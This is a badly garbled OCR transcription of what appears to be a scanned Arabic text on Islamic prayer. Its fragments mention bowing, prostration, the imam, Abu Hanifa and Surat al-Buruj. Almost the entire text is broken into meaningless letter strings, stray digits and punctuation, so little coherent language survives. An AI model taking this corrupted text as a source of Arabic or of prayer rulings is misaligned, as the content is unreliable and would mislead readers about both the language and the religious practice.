20707070 ارقاو
ا ا
يي ِؤملدوَايت
/ 00
ان ا 2 ا تبج 0 لد
2 311212 براضم
ل
0 م 2 0 0 ا
سس و س6
فنصت كم الوا
لوحي دس يجا
ليد ةيه
وا اسع ان انه 2
١ 0١ 2
أيكنى 0 لاز 0 ار 0 ا
صر أو مه 1ك ا 1 سير
ليام لم21 لقعرة الاذيرة
تردر, 1 قرو 0 ور ا 2 0 رو ا
و ا 7
06 1 َوه
لصّْلات د 4
دالشتبد واما لحر 3 10
اي مر اندض
ا دودر ا
ا مه و9 322 ا 0 سس سرس عرص |
فرضزعندى يحعه مضو لله عدخلا خَلاداهأ شاوغييل
ا حٍّ 0
ا | ل توي قوق ل وى
م ا 2 0
مس 1 عننه
د 2 2 07
ا معدي بوسسطو وو تولة
تج نهد 1 |
ص .
َ ا ىه 06 0 #لاعررنم 0
ا 00 ا مع كيز 06 ل تي
و1613 موس
العم “دق دي حت ا
ا
ل ا د دسم
لقي 0
, 1 مر
5 0 ّ
ا
21 الْصَلاد والْسَّكام 0 ا
0 0 ا
اي اها 2 |
1 كاده
ا ل 5 ا
او ص ١ ره رسو
داشا لكي وا سكير وا
6 . م 5 رك
سس د أ صم 5 4 5 0
ارك رلته 5ط 1ل
7 0 0
صرم اكور
م
5"
عن أ
الا
قاروقا ل كك
و
1
1
1 ا
ا
1
ا 00
1 ا
أولا! كا و سا موأ
اله 0 3
سس ب ل لل
عرس وا 2 00
اجر نكا حب و22 وود
0 ا 1 0 -0 2 0 ْ
0 »عط ا 9
و2 7 زا سر ال ١ 30
أو قا مدا 7 0 007 00
مس لوو اتن ل او
اك
ا 0
3 اولاحولو
ون خوخ ا 5 ا “يسو
التو 0 0 اد
سه و 1ك 11 2 يع
شار
انادف لياس 2 موقا
يضوم ماله 0
ا
0 2ل و
0 عر
١ن ده
0
1-5 0 00 0 0
0 ل
ان ا 5000 الكرميون
١ از لصيره ود بتشعلاسي كو ذولاتا
ا علا لرى دد 3
ادير ا
ليا
0 د 0 ال
ان
7 وم رم ل رط 0 سه ووو 0 م
م1 كلاش ون لس دمي ع
3 ا م 5 ري يت جر
د ده سوه عه وو
0
عدن مما نواكاك يت 0
يا 200
ع2 00 كو دون دن
ل لخ 000
لفظة الليك! لغ
عد بكو رسرغازك
بوزلود
َه ير 007 و
| 00
١ امبر لذن
ع 1
١
الفا 1 30
00
عَم الكل 7# ير ده
9 : 0 0 عام
ا 2 5 60 37
0
م 0 0 1
ْ 3 0 م" ا
>
2 تبثا ار 2
موسي أذيكر كين لدف
0
وى م
2 ره مم 00
0
2
7
ا
7 سرك مسر 26
001
ا ألو لوس ا
يه ا
انك 2 5 ولد لضا َق
زر 0 1د اي “تلن
ا 2 مرؤصا. 6 1 00
لي 00 0 ات 5 0 /
2- أ 32 ُُ
الفا سي ف راص ات رم ب ميو
م عرص فاعِدَ مد يام
ايلى* 1 ١
. در 0 : إن 16
2 ار 0 ١
2
ا 3
١ 3 كم سير ا
0000000
ام ل ا دل ا
2 26
4 تررر. 8
لز
ارس وال التيرء بهم اماه
لد
ار ل من ل و ادق
ىِ 7 2 “دح |
“ار لالد
٠ 1 ده 1 1 و 0 2
عا ا
1 جمعل 8 00
ل ْ 0 5 0 دمن
١ 70
0 ا حنج سسب رمعو وجب جب كلد 50
كعم
0 0
اج روصكة ١ | موتكم ار كَّ
ا 2 4
21 سي مسد روسل ا
ل 5 از
50 2 لدي ا
مك 1 6 سي بهم و
سو ا
/ تدم لادينة سجدوالت هه
اي 2
| '“اللدوة ع 7 دبي دن ا [
00 ل 0 كش
ا 0 !0
- 7 0 )3 0
. ا 0 0 2 ا ا
ا د ا ١
سوست سرس سد اح تاف م ا ا ل وا
علبهاجاز درا لدَخيرَة ذفان لمدستطع| لمعود ا
ا 00 م ٍ ور ا و درو دور 3 :1 10
ا 2 ار ٠ 1 ا ا ا
1 1
1 1 1
نلو موسرم يا 21
ار شا “در 0 اين مم جور
0 ولسر اليب ]1ه ظ
]| دوي > 0 ووو “دين قز
0 0
م6 0 م سه س0 7 ماد
افاي رسع لاا 2
26 2 2-2 7ه 0 220 ْ
وه ل ار 0 ع 0 د(
0 0 ور
١ ير عاد فاك ره
2 ا" كاي 07 “زد ى ظُ
01 يي 1 اس 7 سم اس عدب
م 1 سفظلت'
7 لكوم بوم وَلبِلة
ع 1 ا
اعنة ودفا يوسغطت و
| او ١ ٠. 5 .
ا 0 م 0
0 001
ٌّ
ألحه ا ادي 3 د
“ول. در دخ
وَلَأيرجيده
0 رمه زاب َّ ددا
عل سور وى لاون دوا 1
وى نجي اد رذج ا 00 بوسر |
ا 8 عرص رس اد ب 2
عَنَهوَامَدَدَعِليام دو لكوع وا
عرِيوولا |
0 مير
59 00 برت
1
ب 0
١ رحد و د
5
5 لامعا
و 0 -0 عابي
2
ا
ا
1
5 لمان 59
ا 0 00
0 5-8
سه |
ا
بس
1 انا ا
00 0 0 3 وا ووس مذ
0 5 د )0 يجيي “وير |
0
5
والسّلام
اد
3 0
1
1 3
-015
ب 0 - |
0
ل
4
: 0 ع و صد ضحد ١
1-
قري فقوي جد
ده ا 7 م
ال مس سه
وسجود ادوص ياصع
١م را
اكما يعات
57 ىج 06 - 0
0 “دري ف
5
ْ 00
د
ار
لاد
0 ملي در “لاي “قي
ا 2
2ظ1
5 5 : سر جروا
م 2
يوادي لييجاكسب م
اويا ا كر
000 شُ 0 3 0
ترق لشاوتي١ بوي 2 سدم 2 5
8 38 ل اه
ا
0
ادنر 1 ِ 2 ا ا
عاو
"شن
د و
و ب
ته
المعدد
0 م
ل
.
ل
02111 لهو
ْ :
ادف لع مق
ا ره ا 8 دص
الفط م
ا الريمجتعد يا لصلاة 586
ا 0
ْ 10 تدر يلاق كد الابيد
0 7
و 2 1 . 0
اإإستطاع و 000 ىَ وا حدما
او زر 0 م 2 0
سر
اه 6 3 هه
6 5
لوالا لماي لدو الحو ير وار
دض
204 ياد سرصاة ا مر م ا ل
أن قدت والاجت. ت وجعلرت ١ سه
1
2 ناموي ومنت ْ
شلا اعتاد ةج اد مكانات
دده دورهفمطاف و
امام اوتماغ قاد د اولمية ا
م ارا بركببر ابلا
أولاد أما
أوزره ره او داقن" نده
اودوّرد يك امام دكنئ أبلكم
باق لشدعكى أول درب قلان
دهان ناوزده قالضرامام ايلم
0 لكوع جلك ايروكل
و
مام ايلى
6
1 0 ا(
كِ قد ودرا وحفيرء وص نت عده يركوع و تجودا
6 و بر سور الرد ا 1 دور ا م جم
م 0 0 000 در
0
وحاواط 07 واصسدة
0 ميري ون وا لع ود وك ا 0
2 00 م لم ستطعما نوا ماء جل لت يدأه ا
222 | 7ن !1 4
7 “رجو ا ا لم م 0 ريكب
0 4ن كج 0"
0 ل مس لع مم ل : ٍ و
6 وم ده ا
إع يال 5 2 رزض دو سكم او
اولسرمعه اك ووو
يك 3 27
١ ا َي ع ا
3 وموس
0 د وات
اص 5
وذداعيوعطا راط مضنا اوكسد
ل و 0 ا وري د
ص 0 3 امن
00 صم 22-0
ا ديت
5
0 |المسائله كرد عدن 7 0 و
و لو علو فا || تسيا #ترمر ل كر ان
سد | "سول “تسى مد «طربوخي
2 2 0
5 / د ّّ
دك سخ ذا ور سه سس 2
0 عم صل تدكا ا
-
أ-
وو 0
مان و 4
0 3 داك “موك -
ا 5 '
0
ا 74
ا بايماء 0
ا 2
عدر 1
لد م
1 و عه سا
عِنده و2212 و يووا صخرم" 0
1 د 5
ان و 2 ل و 0
0 0 اذ ناسين
7
و2
8
ومورب
0 و
ك0 عدرتا
2
2 31
سين ابابل ةلك ا
ون كدت نان كاعااي |
لىإ صارة حت ووب ا
دوي || مارك بردهاشصك
آنا ب
بورق ةا
شن معان
"دو ند رراف
اولننودد
2-0
0
2ه رم دك دس تر لي ا
2 0
“بار
ا ا قاس سساو |
عَادععَاظا 5-0 ع0
في نا
له 0 1 ا “ددر 0
داب تان قي 2 و
ع و
3 2 سحو 0 ٠ 00 ا
“دز 0 ا ا 3 2 ا
ون |
0 0 م ب <
عدا جحنيفة ١ مشر ونا ايا مادا
0-0
شد “6ض ُ ا 0 0
1
5
ألودكيا ماف ضلالتم وكا
| مرح 0 000 7 000
ساك عاك اسه 2 وس س 0 رسف مه انا
ا لم1 م
7 3 3 5-7
دحج م اوور 0 0
8
2
5
0 ميَاعيها والصؤ اا ميا لكوع
فح “لظا ْ
١ 5 م
0 ا 6 ا 0 0 8
50
0 حو جنوه
4
0 1
2ق
توه عص طرس 0 هه مص
كك 200 8 7 عدبا عرده ا ا
20 0 32 00 0 0 نك اوذدنده ظ /
| اولساول
م اس سس سر سه 2 8
سه د 1 2 يردي
يي 0 0 سر
و 0 1 0 3 م دكا
ا
هه و صبرت جر 0 و ست سابد ١
الايد و يوا م
ا ل 0 0
يلصي" 0 را 0
0 ا 00 هو س0 رو سه وم 1
وراد ص وونحود وا 5-6 ظ
ضر جل “دز فى لد يي 05 أي 3 ظ
ا ا
ظ 00 لعل الوسر وا لضن
8 0 2 دري و 7لدووى
ئ اد سواط سرت 2-8 ١
ؤدوآتِ لإا الع كنا ءا
يي ا 0ن ّ مضق دين
ا
ثرعرة 0 م
لكيس سير
0
١ 0 00 ا
1 000
2 ص07 ررره سس سم سس عر
و5 قلي يع 1 3 و 0 5-6
١ 0
اسرد
وَآم) ديرف اقاءة أب وا
سكت يهاي
0 ل 1 ل 4
وَادكاسَ وصيره ع وفلوف عند ايسية
ع ددر ل 0 وب لض فو |
11 0 ْ
معهكة ضرا ةيموي
1 2
در ار 1 اررق “دون دس
4 2
ابمكله وول ساق مدعا مرْعامَانَا وحرف 0
١
ا
|||
ذو د ئ د لي ا وم
010 ور
ع يطو يكحو يدا
0 د يي 0-0
الندن الكد وو ملاس طن لدعي ا لدبسوؤار '
7 5202 وسكي كر ومررس* دنه موأ
وت ون وناليتكق الي هوا لامح ابه |
ا ا لك
و 20 7 له 0 ا 00
يبعي
.2
0 ْ او 7 00
5
ا ا 1 مم
اص ره 3 م 1" 2 ا
000 يكتوان الا 0م وا |
ا
|
أ أ ا م سار
ا 10000 1 (
أن ضور ربكا عن |
اس ضٍِ 0 د ؛ ١
ا ا اي 70 نر لسو 0 |
' ا م شٍِ 0
0 ون مة أ لتكران 0 هيت وأ زايمه
ا 7 0غ 3 24 ا
أ ا ا من د #7 ام 1 ١
00 ١ دم 0 ||
ود لي لدعت
ا 1 0 1 5 او الهوة
|| ا 41 97 :86 2
ا كوم وموطاطأة الراس وا نطاطأ رامت
ِ ا 7 ا 4 3 . ,
0 |
سد 2 ص2 2
.2 دوت" كي ديكو
١ 0 جنا 6 ف ار و
ون
5 0 ا
ُ ا 3 ١ و
0 0
0
ل 00
2 1
علدت دلوت حد ود به إلى
11/6 7 00
10 ره 0
“دين 93
0
سئ دعن 0
4 م سه سه الس سس 0 1 عا كافاسد
3 لامج ما مهرد سوزة 0 | اليد
حمر ءرر ١ 5
00 يا 0 00 و كل 0 ١
م ل قم
سار دو 0 سد 11 سيد اس سر ال شدي سرطل
2 11 س0
جد نين هبد صلا تم ولو لواو را بعدما كم ا
لااك ابص -. 3
0 21210101117
حو حلاتَى
مدوم 2
لقم د ور عه ُ
3 2 07 0 م ل
دأسة يا كوه ود 0 نْ لا لا ١ ا يدامج
ا ب ا
2
ّ 0 ده
06 ا 07
00
0 00 0 0
د
5 ا 4
0 1 08 2
5
ناوج كم .| ابإركدن سك يشّشسه
عون ا ادق
ُُ
را سر ها اد 9
:|1 2 لا 0
هوخا شيئرة| لايل كم ل
8
١١ : : 0 000 1 حزن
ِ 0 8 5 ا ا 1
ا مل روا ور
0 وك ذ-
ا 06 0 ا م 0 ل شا ا ا
| 0-6 00
ا سوسا لِمَام 6
2 0 ْ ١ ١
9 ا حيري 5 00 الى “و
بعر الكو اك لمأن
ها 3
5
7 2 اد
م د د الات سر ا
هب واذاان لما م وهو راكع فجكين
١ 5 بك 2 00 ١
بن جر أن هه 8 كبري 5
ا 0 ا ًَ سا م[ ور
ومح دثع مام سمي ا
١
لدومحت- 0 2 الاح
0 8 70
| يس دي 0 عنية 'اسما ل
درن 3 5 ى ع
0 ئ
0
2
-ه 111
3 ماسح جرم ص و4 مادا شرا لوت د
- 3 ودضف مرج ا يي اكفاك ل وا اوش إولول”
“ادو
0 أو ل قدرج أكليشرده ايك
6
بوركوعزن دراكراكزرة
'اكراظ: رواشت بي
0 ا در داص لكي
2 0
كر
2 لدرخ
1
0 ا
وا ال والتكيق لبيك
2
هله دون جهد د .
لت 0 0 - 35 “معز
4 و را
2 ايك
دن #جدرى
س م وم ل 2 1 عو د 22 سور ار
00 000 0
به و2
0 5 زو و 2
42-7
وخ
2
انَفْه
دا
وقالا
درن بالكتنا 1 إذاكان فجهده
00 د 0 5 قور 0 زوه |
3 خاو ١
0 ا در
0 يسا اس راو 8 م
لايمون وايكان
عزد وا وصع له »١ ودصضيه لا جود وأياك ع
ارو 3 امن م م 2 1 2
ا 5 2 ارو 1 ٌْ
ا ابر 2-2 لس لس سه 1 أ
ونعذرٍ بإبو »و ضعاليدين والركبستات ميد 0
7 5 : /
0 0 ود “قلي 3 0 4 ١|
0 2 سس 01 م ا 3
ل 0 افروا لاوا ا
2 0 ا 0 اي دون 01 1
00
ْ وي : ا
أدب سس سرس ل افر ع مس مس ا ِ ا 1
ولمدصع يرمعلا لارض لاجو ولووضع ا
ا ِ ل ,2 3 0 .
ل نري 5 2 0 0
ل وراومي :
روم 2
100 عجان
لوزي عمج لجو بي ف م
ل ا ان
م
نه
اوعاسرء
وى در رك
1 5
وضلؤرها
دن
ار
اهيا
حر ل
0 2_2 0 م
2 8 5 رق ابره اير 9
رر
دوه ,
تر
شٍْ 20
12 ا ا 1 0
ا تو
أخرك فر أن او 0
0
1 0 ص
يله عا سُويءٌ جي رسهود
2
ل 0 4
بإ جور كد صلق
2 0 لين ا 2 |
ادج ا
31 _- ا مه
2س بجت سس ا
روا لابرد دوي جات
00
2 2 0 وى ب
2 2-7
در ريد ا 1 اك
3 2-7
0 2 1 ١
00 50 لك مجاد وعذهذا
دري 00 ثدى. كاله 3 1 ا ا 0
ا
ل لي
اله
| 1 تس 2
مده ١ ه ماس -ه علد 11!
عليه ع ا
0 0 “انيري 000 ١
ا ار 0 و لي در |
0
5-5 8 7 ةل
3
سس سس مد
.اذا سدعلا | 2 و سد 0
أ 9 ع 3 ! 3
ب. ” 2 5 2 َّ
ا يق
00 ار
ز#وآان 0 0
مر 0 جرد 2 5 0 ا
د
010 2 0 و -ه 5
جوز 8و عط امير والشعير
1 دو ور إلى اورم “رزو
مر
ظ نكما الوا لحار لوح إن كان د ٍِ
1 “روي
ل ست اك م ا ا
0
ا 7/7712 أي سر إر ر اسزا رضم ح ا"
و إنضي رمن يضم جتهده عجر غير ا
سو مو ا 1 2
ا و ظ
نذى ِ 0
فر
و سس سس 00
فلن صم
06 0
و م
ّ
-
: 10
هس سه واجوا رمو را 58
والاذل ايا 2 |
اي 5 ىه 0 زر #الين ا
0ش تان لحر
و 62
2 انوس شوك
22 لين ده ٍ
2 د
0 لاونو
0
2 م و
مه
10
0 00
و 0
ْ هوه يادو كس يسار دجا
ق وو انهه عق سر و0
وصيته صْييسه وتُوات صلا ته نعلا © والثانه|
75 وز و ند عا “ارين او
متخ اي
52
ظ
1
المسَاؤرإنا راود الم فيلا َي َي
ساو ٌ. أدص داق ام ين 0
2 0 ري 0غ جزل ا 2 0 3
2 5 07 27 0 0 0
2 2
لا 3ّالفعد َّ ا وس اد
9 ددر 0 0 7 ب اقل
0 0 ره
0 72 7
و قِدَاءالمَِضِاسمِْءَا اليه
تدم ”
7 د ا
1 و ا لي
00017 تر
00
0 > 0 5 0 يجراو ادن جرين:
0 ضحاد
207
ابجهاذ 5
00
207 سي يوس م رس ب _سسرة لم وس ا
حيرة كلها ذلا ١ ا
5 0 مم اي
د روي اي 7
01 ا 1 وبر عار وا سكسه روا
الدَدوا مدصي مك َل
0 اوررق
فِالسّمًا بتحاكه الوم 2
50 8 ا 62
درا
مي 8
00 00 لس ررك ور م
3 ا 0-6 15 رارم
اسه عرس سس سس سس
بعدما تعد قدد
هه
سك ست ارا
00 0
8 0 - 0 0
8 0
[ 00 ل 6 -- 1 م 0 2 سما
وببنى ونام 0 ا
دو ضر 0 8 ع
2 5
4 م
0 ا دار ع 1 ل
|نحد فود قدرا لشتربيه! 234 نما يماع اه*
١غ در
| مي دقن 0 و ا 0 ا
ا
عرض صر و 0 و ره ل
دست مسح هحمس موسسيد 2
0 د 0 “7د تيوق ل 0 ان
0 2
3 0 ا
و م سر سام ومس سس 2 2
امي
آذ ته 7
2
-- 0 58
20 1 الاك
ت مام زا اوامرث لإمام لعاد
0
2
ا 3 0
0_0 0
الي أو دحلو صرق
ا و 00
ا 0
1 ده 07 50
ْ 5 اق 2 0
. ل جود الاو
0 در 3
0 00
50 4
و 0 0 4 6
0 سد ار
ويل 2 200«
| 0 1 ون 0 4
دنا الي
7
واه ا
سواه يمنا وكيا جراتمى هين لئاكة وا لقاع
- 2ك
ؤ 0 ا
0 ل سا سكس|
والاولبين ادوم وتقدييا ا
0 27 رين ما
لزي 0 0 د
ا 2
ريز اا 0 ا
ادر اده م 2 و رن ص 0
١ك و ف ةلم ور
فمايجب» اماف كذ ةا 0
اجر ١و
للضي 0 ا 0
000 ع
2 صا 1
206 0
تر وفاءة لسري فالفعد ين نمؤددغ |
سك ١ ب
1
0
0 دض
ولا 5 7 سس 5 س0
امارد عضن اما
اذى 2 ونون دويز
000
0 0
4 20 وها دو لثمن 00
وات و دق دظرى
0 رد
51 7 00 0
إإقااما اللْيَدخْلَ الاك و 2
بان #وى مق ١ كم ظلد تخب رايا
2 رس اسه وصرصر 7
نر
| ا 21 “هي وستره 3 0 اك 0-0 0
نير يديراو
سد سدور 00 0
0 : ا
220 : 5
2 وس و سم سس ا
ع وبوجهبطن بط نكمَيِه نوا
اماون. د د 0
3 8 ”0 0 يا 0 ًِ
0 07س ور 2 و و2
وما اند 0 0
7 27 من ل ضراو 0
مه 2 مامد موعند ماب جيم
ا 0 نس 0 ا
السام دك 0 ور 0
رض اليدس ولواعادر 5 عل تيسادد
ا 1 2 0 0 00 0
١ 21 عسل واو
0 صم بد اليسرى ود
50 2 بي ١
ال رسا
2 1 0
ًَ 1 م سس قر و” سس س7 داه
عت اشر وات ع 0 1
" ل
2 0 8
6 ًِ 01 رح
2
0 ل
22 أ 21
لشو وي ا ظ
سس ١ سئي
وا !ليده لل
ا
سك يور رولا وجحهت وجقىق
ير اا
00 06 0 لبو و د
! 0 2 0 0 ووس ارق
| بيذ د سساس سل
امهالك 59 9 اك 3
ح_ّ حم
ساب 5 مه 0
-
0 ربا
5 0000 2 000
ا -ه
2
| دار
والمسيو١ 2 0 7ك 5 َم
ا توي 7 مج بن يا 0 اي
00 ع ب سه 0
500 َم كص اء م سبق ابه ريص 1 8
| مموى #“الاعلو لل لاخر ا الى
7
111100 7
ا 2 20
3
اس د ا ل 7 ل 0 ا ا
ع بالك عد سَكانا لها 0
خض 5 نر 07 ل
دوي لق 7 “للدي ا 0 04 0
0
2 ا
عَنالعَص موا دكا َم العاعه
20 تن الى بال تل للد (لؤبي
و 2
هوواناد
لشن 376 انير موسا لهم
ف انا
وى
ا م م 0
أ 00
. ا 0
0) 0
5000
0
3 1 د ا 0
2 ا كان 0
ا ١
د
57 06 0 0 06
/
كر تعد
أدهة كاي 2
00 0 انها /
راود
رس
7 30 “دنم
022
5
ور المارونة 4 ع 6
اب َ عر بي"
قي ا 7 8
دم ل م ا
ا
4“ 100 00 2ع
يه و برعو بايا لهام و 5
3 0 5 3 ديار اي ود 5
د ا
لان ل م و 2
ا ا
506 ام يلاول لديا بالكوع 2
ب 05 4 رد 3 01 5-6
0 جر 0
1 7 3
10 4 وماك
-أ- مك
ودار دءاولنز 500 2-57 0
0 0
5 رايا 6 ةا 1 يع
0 0 0 0
7 سم م سا
عا راتكن
نيك 5 م 2 0 لمن أل نسم
ا
0 1 ا 0 م ا
0 كما دلا
اك 0 ل خسو ا دي م
2 1 شرو
8 2 -
1
بعد و يعو َ 0 را ةء تر مى
- 8 ا ص 2-7 ول
ااانه تدا
“وموم را
02000 3 1 8
ل سل
5 ا
ا ووو
دعيند أ لوست : ب
بعالم وَاداقال 2 بن يعول 57 مين
لاد سساو تس در سي اي 5 دير
1 1 مرق 70 رس
دالْْسون 3
ل م 3 ا
5 ص عع سد رد ب سد 0
ا
وي 06
دوس
ما ب 7
عنلكاسو كاك م
ا ع شين 5 0 0-1
د
سمه 1 9
او 000000 2
و لي اه
وَدَذْيِك ونام با لوص رحن ا
506 1 ل سون مولد|
0 0 كه ماضلا
ف ف 2 9 1 قضاءقاليجق أ
وت يض ا
انك با
.١
5 و ١ دم 3 2 2 7
| 0 2 ف ثاو, 0 5 وان دن
يي 0 3-5
1 ف 0
5 و سس لس سك عمل وس 1 طوخيدن بتودداما
اكوانش 0
8 لجرا بإدجين دين و ل
2 و ا 3
ومسبه سا2 0
اي وا مزل اودوده ا
0 ات
١ 5-565 0 0
2 0 505 0
ير مر 5 3 2
0 0 00 وى قن دور ا
مده م م 22 ل ا
بأوسامٍ 200 0000 ا
١ ا سو جتن د |
م تر ل عدن 0
اوور 3 ور ل رو "
0 سس
19
ام 1 0 1 2
الول ون سود َال سورةالبريج
| 5 ادن ين دم 0
سور 1 و و
0
|الاوساط في سودة البروج سود 0
07
قرو يو
0 ا
مل ويك
1 وسيل اماي 0
3 0 :
ره 2 دارو 2
وقالمحمدأ ورين
اق 3 يي
علا لايل 0 باجم | 0
5 0 ِ 0
يو 55 3 - 2 0
الفاح “تي 0 5 6 ا
7 هه 0 سم سس و 0 رورس 5
ينوك وص يا' ايه تدا
ا ضر ان ا
ا قمر : 0
5
م 2 جاص جر جم ايت صو
0
| لا ببررور
0 51
| 0 ا يي 3
ظ و ث 7 1 2
١ 4 1 0 ا
سوك لاونم 2 د
178 3
الور كع بد امروب اطول لكي ٠
008
7
فن١ ١ ا
ترص بيه 2 0 ح- و 1 سور
ا
دضع 2 ا
ضر
بكو 0 جَكِيره درون ا
ا 2
اباو 00
0
0 فيك 500 00
م 0 2
كي ا
0 2 0 الدي قلان
15
0 مس ل سس كه
افع حرف وكلم» وا لاقل احم و
ا تون 4 0 0
ل رس 00 1
لد عدف كد
أ ب 020 2
ولايرفم راسة:
ا ا 0 لاش
0 د
حص فر نديد ١ ع ا 6
وداه تَلسَودْلِكَا 1
- تن الاي ف “ايل
0
ور -512 21ر0 1 0 2 و
:5 يم وروا ذاو سر
العو ل اي الور 57
7 ا ل وف دار 2
جاذصلات, و كط لع ريع
د 4 0
3 0 عر 39 96
0
1 عرو ةا ل
0 ورد سن لوك ايو سوه
ض' 0 ار 5
ا ا ل
له 0 0 3
اسع لامَا ون ول عه الفوولا نه
كك وه ب ا 000 مكدريل
سويب
1 2 000 جر 5 حر 5 بحر هر جر ده رأ
لوم و لوطل لكوع
0 00 ل ادر 0 1 2 ىَّ
أ را 6 5 601 سد وار
كان اي : وود كمرا
ا 00 0 8 0 ندرا
يه نام مسرل و مور ا
سدسم بطيل
ا 0 اي م د لا 1
8 م 3ه
إلى سي تير 00
. ار مر ا 0
معدي بويا صابن
24 ا
و2 د
2 5 12 ليمز
و امج 0
١ 06 د
زر دج صو
إن تجا توي" الاسم
0 لزي تامور ررد
2/1 5 انعا 05250042
0 0-6
لتم ريا
أو 3دكاب 1 10 »ولا يريد
د مر 51 ورور لو سس
)دصلا 00 وو عََالشاء وأ تعمد
0
0 دي كاتا عيبن يرسق ١
دن
2 ا
سس 2# 1 7
وم |
ُ 0 ا !
) 0 ا 0 038 :
١ 0 سما امال 3 55
ا 00 7 ا
ات
ار در
0
افج
ري د
ب“ عوبس ةحامة خخ
بالمروود حد
رو
لجالج لوجم < .2 5-6
5 ا
7 7 70 د بر جز و جص زد 0
وله متاق دي سه
0 اي و و
ره س1 ا م ف 21١ وروا مره م عا فس اح كسد
بين ١ تنوف عدت نا
م
1 ري دن 1 م وي 0
1 ال 7
عن ده ووالراه وص ف وداه رد
ا 6 و اد زر ان
ا عو ةو و 0 1
حدما 20000 الكل
وض رد "لعن (طالايرر
1 إسصه ره ١
دوا فصل ويزك عل |
ا 3 ان ١ه
4 و 0 7 ا يد 0
ش ادر لد
200000 >
ليد وناسة وعد وضع يدبرعط به فاذ
7
| رةظ 0
اطمان قَاعن
7" تت ١
1 2
100070
ك1
: 0
ب في م ا
5 ا 0700 7
5 دمر و ند ن
5 2007 0 1 ل ٠
امت كدي م ا
١ سن ل و ال ا ل 7 و-
||| الما يه واد اضغ لتر ايت
| 2 3 ا 0 0
١ 0 م ل
| قاماولا يتمد ولاعود
4 0 ا
_- املد
آذآ رس 5
رف شر نس ةما
54
مو 1
5
و ابي 0 تدرو
1 سه
5 2# 0000
ترك ادها لام عدر
اش 3 دول
0 سرس | سس سه
3-0
0 ا 6 فاو كرو 7
د سساح ا
م 0 رمه
١| 1 و 0
|| ْ أ ل 2 0 3 3 جوع
0
1
ْ م م ا 1 مدق" ,
أبن كت “مش ال-5
دما
اسل جب 7 س دترم رصا 4
* 06 جاركلا ويب ليم
الوا موي ون 1 و ١
3 زر
طن انا
ا سس و سك سا0 وخر 0 باصا ا
ْ 6 2 ع يا لاضع بدي 2 ٠
ا لحني 556 دس روم 0 لو نر
3 | م الإاترع 007
2
ا ضداوى |
ليضة ةردم -02 ب سارا |
داك مين
سد سور
2000 10
إعنثايا الننود لشامها الذوءون 6 ا
ا 06
8 درو ا ا
١ 1 2 د عيراعده وسو له © و لابريد بدعامذ
إدهرير 0 3
رتت هله
ا 20 ف ا ا
لايل قن نادقا جصهم 000
ىم كر اد بر طزعن,
ا
ده
3 دمن 7
سس س١ ا 5
احددعل ألغد م 0 ميو
0 نار | جرد لاد ا
0 ا
ال 0 :
لاه جد سس ص سح 000
| وعن ا دحشهة اد
ا
٠ ع
| عر رك ا 0
0 ا
527
3 ل
2-7-2
ع نت
1 ا
و 201 له سا 1
هده
و مال
اي
0 ا
بضدضو كيرف حرس ببن١ 0 بن|
ظ : وي
ظ 0 0 7 و
| ققد
م
00 تا واد فنك
000 م ١ ل
ب
. يس سي وديا ا ار
ان 6 20 9
3 5 0
2 0 0
بسو
0 داومو ساب جر ولد
مس
م
2 كس"
و
01 جحت أ 0
على مابس > فا يها لاد
20001000101112
ءاود رس
١ 0 ل 8 جير» 0
7
ع ل سه
ولعي لير
در شر 0 1
ْ ارت ناد سس ددا 0 3
دي ليسكا ضحد وي
ؤ ين 1 0 0 ا
ار
اده
00
يمار اله م
ا 7 اجر 0 58 000
ناما سر سس 2 ور عدد هوا
لوس[ وفستف و انيه
س2 عدار ورت
فلار
جر مت يرا
ولد كانمي ريد
ا
0 د للدم لان تجح ارو
00 0 كن
سس م ره١
عوابا لوا زوم سه العا لمان
)2 كج
لي امير 0 2
أولجدعواي اميه كم مالنا روود سنوتو
0 0 ع ا الو مووي |
١ه سهموو سارها
لوس حور َالوْخْل ا اصَلاتٍ دصلا
| لسع ادر اغوي 2ل
لت 22 اهم كال إراميم يجيد
9 اس بخاص . ج01 1 دروا 11 12
اودوئكند 0 ا 2
دول 4 رلور ا 22
1 درم سساو تر
يخ ليقو ل
2 تير لاه
ا وو 6 ست بالشدييا 00
0 00 1 يري
2 0 7222-2
موتلا ابول الي 0
ب تور ابواا تور الاي 7 مز
تاج م
حر رويط
ا 5 0 2 امار ا
0 له 0 1 ا 2# 8
ذا د ادبن و ااي 06
1 0 7 ا
ان 2 [
0
ور لماز
ل سه ور عرص 5 م 3 ا
السَلامعَل مهأ نلو ولائعون هنا سم
١
جوم ل و فرل
0 م رن
220 شيا وسَوَىبِالشَلِمَرٍ الإويا!
6 لات ار 0 الى 4
0 ع1 اس رثاو وم اسرة ل مره
5-7 كوك صم عا نلهوقا هه
ا اس ار م ضار
48 ار
ترم ال 2 كل
0 نس من 11
0 ا 0 02
ا 2 5 7 ١
١ امامة كان 7 عن مين ساروا 1 5 : َّ
أ رن 4 2 لاا لاس |
ا ا ص دما ا
فالْصَيا ل ويسع ان ؟ 0 4
ا ذى
5 6 و
1 4 0 2
3 ور
1 مه نر 2 ل 16 0
ا موضع سجود وو فا لكوع تبره : وو
نح جره 2 00 0 *ذرى ١ 2
آه 7 مو سه 08
إلىادنبؤانيه دم وْتمودءا اَمَك
“لينم 0 72 ون سل “ين
ضيه َ 7 0 ١
عد مهس داه 0-7 - 4 يله 1
اه أن كوبما دمالا ذاقاه الخفضمن يلاود
زه حي - للم
ب
7 3
اد 220 )
6 عرس اسم احا 11 6
لمان شا عن مين انس ارهد
2
0 ون دمر
ارو ا أ
م
7 ل لل
انتب امم
- | وان 8 ١
7 عا درق 0 ا
ظ 00
0
و رس ف
ا
م ار ابص خب ول سس سد ص2
م هومن
دن 5 ده
أ را توادية 0-6
دع و سي نا ا
0 م ٠
روث
2 4 عرص اماملا
و ا م 9 : عي
2 56 و ا
ْ 7ن 54 2
ده مرج وسار عطاس رود و ريو 0017
0 0 و
3
]اير ا
0
0 0 0 2
و
ا
و ا # ع
ا
د
0 ظ
ا ا
253
رسن فووا لينل بالا ١
0 0 لدو 0 00 دعر
هه بر 0 و م ةر 8
10 وود نص جد ليوات ف فأ
وُُ 0 0 1 لعي ا 0 0
ضى 2مىم 2 ذدر كل
0 رن
39
ع و 2 7 عار
اسن
ا
صا
دياس دعص ودكه . ئ ما
1 5
00 ا
ا يار 0 دو ندمو
ررم 0 ا مر 1 5
ٍ ا 0
ْ
ان دلبل عن 3 6 8
0 الامزد. 0 د و قا 8
ه41 بك
١ كن
كله
١ 1 ور سر 1 اود
ْ ٍ
كا ديعندالتا ساف
ع بايا
ان
